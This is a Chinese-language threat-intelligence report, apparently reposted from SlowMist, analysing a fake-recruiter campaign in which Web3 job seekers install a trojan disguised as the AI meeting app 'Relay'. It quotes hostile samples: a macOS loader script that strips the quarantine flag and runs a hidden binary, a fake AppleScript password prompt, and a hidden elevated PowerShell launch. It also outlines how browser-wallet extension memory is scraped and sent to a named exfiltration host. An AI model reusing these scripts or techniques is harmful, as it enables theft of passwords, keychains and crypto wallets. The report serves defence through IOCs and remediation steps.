文章总结: 慢雾安全团队披露一起针对Web3从业者的定向窃密攻击,攻击者冒充招聘人员,诱导目标安装伪装成AI会议协作工具Relay的木马。macOS样本通过隐藏目录和脚本绕过安全机制,窃取钥匙串、浏览器数据及Telegram会话;Windows样本使用虚假进度条和内存扫描技术,窃取加密货币钱包凭证。建议求职者对面试中要求安装未知软件保持警惕。 综合评分: 87 文章分类: 威胁情报,恶意软件,社会工程学,数据泄露
威胁情报|求职陷阱!面试软件暗藏窃密木马
原创
慢雾安全团队 慢雾安全团队
慢雾科技
2026年7月28日 18:44 中国香港
在小说阅读器读本章
去阅读
# 背景
近日,MistEye 监测到一起以招聘为诱饵、针对 Web3 从业者的窃密攻击活动。攻击者冒充 招聘人员对接求职者,沟通面试事宜后,诱导目标跳转至 relay.lc 开展线上沟通。****
该网站把自己包装成一款名为 Relay 的 AI 会议协作工具,宣称能够提供实时转写、协作笔记、AI 摘要、行动项和跨平台客户端等功能。对正在参加远程面试的人来说,这套说辞并不突兀:为了进入下一轮沟通而安装一款“会议软件”,看起来只是招聘流程中的普通准备。relay.lc 的公开页面也确实围绕这些功能构建产品形象,并提供 Windows 与 macOS 下载入口。
在 Mac 上,用户被要求打开 Terminal,把下载的文件拖进去,再按下回车。在 Windows 上,用户只需双击安装包,等待一条”Updating”进度缓慢走到 80%。一个动作看起来像手动安装,另一个动作像普通更新。
但拆开两份安装包后——macOS 这边镜像内根本没有正常的 .app 应用,真正要执行的程序藏在 Finder 默认不显示的 .back 隐藏目录中。Windows 这边,显示更新进度的界面代码里,进度数值并不是根据真实的下载或安装任务计算出来的;进度走到 80% 时,代码发送的也不是”更新完成”,而是一条名为 runUpdate 的内部消息。更可疑的是,在负责控制应用主逻辑的编译代码中,这条消息名和一段“请求管理员权限、隐藏窗口启动 updater.exe”的 PowerShell 命令放在了一起。不过,消息到命令之间的衔接代码目前还没有从编译后的中间代码中完整还原出来。
分析范围说明: 本文对两份样本的技术分析全部基于文件拆解、原始数据解码和代码反汇编后的交叉比对完成。分析过程中未运行任何样本,也未连接样本内嵌的远程地址。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。
上述社区线索进入调查后,MistEye 对 relay.lc 站点触发高危告警。SlowMist 安全团队随后对两份安装包开展源码级复核。
以下为详细技术分析。
macOS
镜像里没有正常应用
Relay.dmg 是 macOS 上常见的磁盘镜像格式,正常软件通常会把它做成拖入”应用程序”文件夹就能用的 .app 应用包。但打开这份镜像后,里面只有以下几个文件:
/Volumes/Relay/ ├── Installer.file # 921 字节 shell 脚本 ├── Open Terminal # 指向系统 Terminal.app 的链接 ├── .back/ │ └── installer # 5.2 MB 通用可执行程序,真正要运行的代码 └── .fseventsd/
没有 .app 应用包,没有标准 .pkg 安装器。Open Terminal 只是一个指向系统自带 Terminal 程序的链接。真正要运行的程序被放在 Finder 默认不显示的 .back 隐藏目录中。
“拖进Terminal”不是安装步骤
Installer.file 的脚本内容如下:
cp -r "$APP_PATH" "$TEMP_APP" xattr -c "$TEMP_APP" chmod +x "$TEMP_APP" nohup /tmp/installer &>/dev/null &
四行代码依次做了四件事:把隐藏目录里的程序复制到系统临时目录 /tmp;清除这个副本上的扩展属性;给它加上可执行权限;清屏后在后台静默运行。脚本的注释里甚至还写了一段”为什么不用 Apple 官方签名和公证流程”的解释,理由是”减少复杂性”和”保持简单透明”。
这里需要解释一下 macOS 的安全机制:从互联网下载的文件会被系统自动打上一个”隔离”标记(扩展属性之一),当用户首次打开时,macOS 会弹出提示确认文件来源。xattr -c 的作用就是把这个标记清除掉。它没有利用系统漏洞——整个过程是用户自己打开 Terminal、自己执行脚本,然后脚本替用户把本地副本上的来源标记擦掉了。用户以为自己在“手动安装”,实际上亲手关掉了一道系统原本设置的安全提醒。
代码同时准备候选密码和 Keychain 材料
隐藏的可执行程序内部,大量关键字符串被一段固定密钥做了简单编码——就像把所有敏感文字用同一个密码本转成了乱码,防止被人用普通的文字搜索工具直接看到。从这些编码字符串中恢复出的关键发现包括两组远程地址——https://e1.cdnresolver.com/m/test 和 https://a2.cdnresolver.com/m/test——以及一段伪造系统错误提示的 AppleScript 对话框脚本:
display dialog "The current version of the app is not fully compatible with your version of MacOS.
For the app to work correctly please, enter password of your system." with title "Application Error" default answer "" with icon caution buttons {"Continue"} default button "Continue" with hidden answer
这段脚本以“Application Error”为标题,谎称应用与当前 macOS 版本不兼容,要求用户输入“系统密码”(system password)。with hidden answer 会让输入框显示为圆点,看起来像系统在请求授权——但它只是一个普通的 AppleScript 对话框,不是真正的系统授权窗口。
代码会把对话框返回值拼接在 PWD: 标签后,准备通过网络发送。与此同时,代码还实现了读取 ~/Library/Keychains/login.keychain-db 文件的功能——这是 macOS 用来存储用户各类密码的”登录钥匙串”数据库。代码中解出的三个字段揭示了它的意图:
{ "passw": "<对话框返回的候选密码>", "file": "<login.keychain-db 读取结果>" }
代码将这两项数据放入了一个指向 db/debug 的网络请求中。macOS 登录钥匙串的解锁密码通常和用户登录密码一致。将候选密码和钥匙串数据库配对放入同一待提交请求——相当于既准备钥匙,也准备锁芯——拿到材料的人可以在自己的环境里尝试用候选密码去解锁这份钥匙串文件。
浏览器、扩展、Telegram 与 Notes 的读取逻辑
除了钥匙串,这份程序中还实现了读取 Chrome、Brave、Edge、Arc 等浏览器数据的逻辑——包括已保存的网站密码、Cookie(登录状态凭证)、服务 Token(授权令牌)、信用卡号、自动填充记录和浏览历史。代码中还内置了一份包含 304 次引用的扩展映射表,覆盖 286 个不同的扩展 ID,目标包括 MetaMask、Phantom、Trust Wallet 等加密钱包和 1Password、LastPass、Proton Pass、Dashlane 等密码管理器。
应用数据方面,代码解码并引用了 Telegram Desktop 的 tdata 路径——该目录包含本地会话和登录状态数据,成功复制后可用于在另一台设备上恢复并接管 Telegram 账号(相关机制详见《TG 账号失守、钱包被调包,macOS 木马如何突破防线?》)。Apple Notes 脚本按账户、文件夹和笔记逐层遍历,读取笔记正文,并写入以标题命名的 .html 文件。若用户曾在 Notes 中保存助记词、恢复码或 API Key,这些内容也可能落入该处理范围。系统信息方面,代码中存在硬件 UUID(设备唯一标识)、IP、国家字段以及对 Ledger Live 和 Trezor Suite 这两个硬件钱包管理软件是否安装的探测逻辑。
Terminal 关闭后仍可能运行,但未发现重启后自动启动的机制
检查了 LaunchAgent、LaunchDaemon(macOS 的开机自启服务配置)、launchctl(管理这些服务的命令)、cron(定时任务)和登录项等相关痕迹后,在可恢复内容中未发现重启持久化机制。启动脚本中的 nohup 可以让程序在 Terminal 窗口关闭后继续运行,但系统重启后不会自动恢复。从代码组织看,它更接近在一次运行中尽量完成读取、打包和网络发送。
与此不同,Windows 那边的代码实现了三类不同的重启自启动尝试——在注册表的 Run、RunOnce 键值和“启动”文件夹中同时写入入口——之后进入扩展进程内存扫描逻辑。
Windows
用户看到的是“Updating”,代码运行的是一段随机倒计时
Windows 安装包的外层是 NSIS(一种 Windows 安装包制作工具)打包的自解压程序,解压后是一个用 Electron 框架(一种用网页技术构建桌面应用的工具)做成的程序,版本号 2.9.0。负责显示界面的代码定义了 RELAY 品牌名和一条不断前进的”Updating”进度条。伴随进度切换的状态文字——“正在加载核心组件”“正在校验本地文件”“正在启动后台服务”——看起来像是在执行正常的更新任务。
但界面代码直接证明了这条进度条跟任何下载、校验或安装任务都没有关系:
进度值从 4 开始,每 1.4 秒随机增加一个大于等于 0、小于 12 的数值。6 次增加不可能达到 80,第 7 次开始才可能触发,因此名义最快时间约 9.8 秒。但随机增量可能每次都接近 0,代码也没有设置最大轮数上限,所以静态分析给不出最慢时间。状态文字由 Math.floor(next / 20) 机械切换,跟后台任务的实际状态毫无关系。进度走到 80 后,进度条停住,代码发送一条名为 runUpdate 的内部消息。
80% 之后,代码尝试以管理员权限启动另一个程序
进度到 80% 后,runUpdate 消息被发送。负责应用主控逻辑的代码中,同时存在接收这条消息的模块、updater.exe 的文件路径,以及一段 PowerShell 命令:
powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -FilePath '<resources\updater.exe>' -Verb RunAs -WindowStyle Hidden"
这条命令为该 PowerShell 进程设置了三个参数——ExecutionPolicy Bypass(跳过脚本执行策略检查)、-Verb RunAs(请求 UAC 提权)、-WindowStyle Hidden(请求隐藏该进程自身的窗口)。updater.exe 是一个约 116 MB、无数字签名的程序,其自身配置也声明了需要管理员权限。
updater.exe 内部编译了与浏览器、Telegram、桌面钱包和系统信息采集相关的代码模块及目标字段。它还内嵌了一个更小的独立程序,专门负责配置重启自启动,以及打开 Chrome 和 Brave 扩展进程扫描内存。
主路径先尝试持久化,再扫描进程内存
updater.exe 内嵌的这个程序,内部模块名叫 callsoul。它的主流程中实现了三类重启自启动的配置:尝试把自身复制到 %APPDATA%\Microsoft\Windows\Libraries\Service\sysupdwin.exe,并设置隐藏+系统属性(让文件在资源管理器中默认不可见);随后分别尝试在 Windows 注册表的 Run 键值、RunOnce 键值(这两个都是 Windows 用来设置开机自动运行程序的位置)以及“启动”文件夹中创建入口,注册表值名和快捷方式名都伪装成“WindowsSysUpdateCheck”和“Windows Update”。代码同时尝试这三个独立入口——任意一个配置成功,重启后程序都有可能自动运行。
在主路径中,持久化函数调用之后是 Chrome 和 Brave 扩展进程的内存扫描逻辑。
跨进程读取扩展内存,定位钱包解锁相关参数
它实现了一条区别于普通浏览器窃密工具的代码路径。它不只是去读浏览器本地存储的数据文件,还包含打开 Chrome 和 Brave 扩展进程、扫描其内存中特定内容的逻辑:
-
遍历系统中所有正在运行的进程,筛选出名字里有 chrome 或 brave、且启动命令行里有 extension-process(扩展进程标记)的进程;
-
以 OpenProcess(0x410)(请求读取进程内存的权限)打开目标进程;
-
通过 VirtualQueryEx 逐段查询目标进程的内存布局;
-
对状态为“已提交”(MEM_COMMIT)且具备可读保护属性的虚拟内存区域,调用 ReadProcessMemory 把内存内容读出来;
-
在读出的内容中搜索 syncPasswordAndUnlockWallet(“同步密码并解锁钱包”——浏览器钱包扩展中与解锁操作相关的方法名);
-
在命中的位置附近,用正则表达式提取 JSON 数据结构中 params 数组的第一个参数。
提取到的参数会被组装为:
{ "h": "<机器 GUID>", "v": "<从扩展进程内存提取的值>", "b": "chrome 或 brave" }
其中 h 是当前 Windows 安装实例的标识(从注册表 MachineGuid 读取),v 是从内存中捕获到的参数值,b 标记它来自 Chrome 还是 Brave。随后,代码调用 HTTP 请求库,将上述 JSON 作为请求体,尝试向 https://e1.cdnresolver.com/lk/p1 发起 HTTPS POST 请求。
Sentry 遥测:另一个网络出口
这个程序还配置了 Sentry(一种开发者用来监控软件运行错误的云服务)的连接地址,并在多个逻辑分支中调用了 Sentry 的上报函数——包括发送自定义消息、捕获异常等。上报的上下文信息中包含 MachineGuid、进程 ID、浏览器标识以及 Init、Conn、Success 等阶段标签;在 POST 结果处理的分支中,包含 h/v/b 的数据结构也会被放入 Sentry 的上报内容中,意味着 v 字段同样参与了这一路网络出口。
主要的敏感参数 POST 路径仍指向 cdnresolver.com。Sentry 这一路更像是开发者监控自己软件的运行情况——区别在于,这次被监控的是一个木马。
值得一提的是,macOS 样本解出的远程地址中也包含 e1[.]cdnresolver[.]com(另有 a2 作为候选)。两份来自同一网站、使用完全不同技术栈的安装包,最终指向了完全相同的主机名。
Windows 代码中的 FYMeet 线索
在 Windows 样本的主进程 V8 字节码中,存在一个与当前品牌 Relay 不一致的编译常量:
com.fymeet.app
同时,样本中的自复制目标文件名 sysupdwin.exe 和注册表值名 WindowsSysUpdateCheck 也与 Relay 的品牌命名无关。
2026 年 6 月,一名求职者曾公开自述:在安装 fyMeet.exe 后,观察到 sysupdatewin.exe 和 sysupdwin.exe 进程以及开机启动行为。这与当前样本中的进程文件名存在重合。由于没有 FYMeet 原始样本,目前只能确认名称重合,不能判断样本血缘、组件复用或操作者。
**
# 总结
# 一条社区线索把调查引向了 relay.lc。这个网站为 macOS 和 Windows 用户分别准备了截然不同的进入方式,而两份安装包在代码层面实现了两种互补的敏感信息采集逻辑。
攻击链按平台使用习惯分别设计入口。 macOS 版本利用“拖入 Terminal”这一被包装成便捷安装方式的交互,引导用户执行会清除本地副本来源标记并尝试启动隐藏程序的脚本。Windows 版本使用随机进度条制造等待窗口(最快约 9.8 秒触发,但源码未设置最大时长),进度到 80% 后发送 runUpdate 消息;字节码中同时存在请求管理员权限的 PowerShell 命令和无签名 updater.exe 的路径常量。
两条链处理敏感材料的方式不同。 macOS 代码构造伪系统错误框索取密码,同时实现读取登录钥匙串文件的逻辑,将候选密码和钥匙串文件配对放入待提交请求中。Windows 代码则尝试建立重启自启动机制,随后扫描 Chrome 和 Brave 扩展进程内存,搜索 syncPasswordAndUnlockWallet 相关消息并提取参数,经 h/v/b JSON 结构尝试 POST 至 e1[.]cdnresolver[.]com/lk/p1。
代码能力指向的风险范围远超单一钱包。 浏览器会话、密码管理器、钥匙串、Telegram 本地数据、Notes 内容和系统信息的读取逻辑或模块线索,意味着一次感染可能从个人设备扩散至组织账号。
建议
若仅下载、未执行:
-
删除下载的 DMG 或 EXE 文件,清空废纸篓。
-
在网关、DNS 和 EDR 中封禁本报告列出的域名与哈希。
-
仅“下载”并不等同于凭据已泄露,是否执行是关键分界点。
若已执行 macOS 样本(拖入 Terminal 并回车):
-
立即断开网络连接,但不要先重启,以便保全取证证据。
-
从干净设备修改 macOS 登录密码和 Apple ID 密码。
-
轮换 Keychain 中保存的高价值密码、API Key、SSH 和云凭据。
-
撤销所有浏览器登录会话(不只是修改密码),终止 Telegram 其他会话。
-
若在弹窗中输入过密码,应按登录密码与 Keychain 均已面临泄露风险的最坏情形处置。
-
若使用过浏览器钱包扩展,应从干净设备创建全新助记词或私钥的钱包并迁移资产。
-
检查 ~/Documents/Downloads/data/ 目录和 telemetry2.zip 是否存在。
若已执行 Windows 样本:
-
立即断网隔离主机,不要在感染主机上继续输入任何密码或解锁钱包。
-
排查并隔离 %APPDATA%\Microsoft\Windows\Libraries\Service\sysupdwin.exe。
-
清除 Run、RunOnce 中的 WindowsSysUpdateCheck 值和 Startup 中的 Windows Update.lnk,但应先保留取证证据。
-
在干净设备上修改浏览器保存的密码、撤销会话、吊销 API Token 和云凭据。
-
若使用过浏览器钱包扩展,应假设钱包解锁相关敏感参数已面临泄露风险,从干净设备迁移资产。
-
对确认执行过样本的 Windows 系统,最稳妥的恢复方式是重装系统。
以上建议基于已确认的代码能力所做的最坏情况防御性假设。Windows 程序会扫描扩展进程中已经存在或之后出现的参数,Cookie 和 Token 也可能在会话有效期内被复用,因此处置不应只关注是否发生链上资产变化。
# IOC
域名
relay[.]lc
e1[.]cdnresolver[.]com
a2[.]cdnresolver[.]com
cdnresolver[.]com
URL
https[:]//e1[.]cdnresolver[.]com/m/test https[:]//a2[.]cdnresolver[.]com/m/test https[:]//e1[.]cdnresolver[.]com/lk/p1
恶意文件
filename: Relay.dmg SHA256: 6bc9378366076a028365ecff61ab868fe51bf988c18588c29c393a5488eafe0c
filename: Installer.file SHA256: 271ed218b2a3fddd38529c3730491078a7737afa5f78b873592a2946fb86ab2e
filename: installer SHA256: e434755827e48f4e0693c83aa51b99e4600d5b0e625da1e80963b783a78de070
filename: Relay.exe SHA256: 4a7ef5aec036dc7cff3eeece774caa2500bcd9f3d7712799637dab2645dfc265
filename: updater.exe SHA256: 64fa024e0563eb6fa06cb6437c76a652021a93dff78979496b4b005e61639e78
filename: callsoul.exe
SHA256: cd7500d51c200fe0493f16d8870d79359faf9ba9b121d453b28f871ec252579d
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档:https://app.misteye.io/api-docs
🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills AI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-Guard
DNS 安全防护工具,检测恶意域名与风险访问,阻断钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写,有任何问题欢迎咨询反馈。
往期回顾
MistEye DNS Guard 正式发布,轻量构筑主机网络威胁观察防线
威胁情报|从“合规邮件”到远程控制:一起 Web3 钱包钓鱼攻击调查
有和有效的距离|从 FATF 最新报告看风险控制
威胁情报|TRAE 恶意扩展中的链上后门
xAI Grok Build 开源次日 0day 挖掘:信任机制绕过与 AI 编程工具的安全碎片化
慢雾导航
慢雾科技官网
https://www.slowmist.com/
慢雾区官网
https://slowmist.io/
慢雾 GitHub
https://github.com/slowmist
Telegram
https://t.me/slowmistteam
https://twitter.com/@slowmist_team
Medium
https://medium.com/@slowmist
知识星球
https://t.zsxq.com/Q3zNvvF
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:慢雾科技 慢雾安全团队 慢雾安全团队《威胁情报|求职陷阱!面试软件暗藏窃密木马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论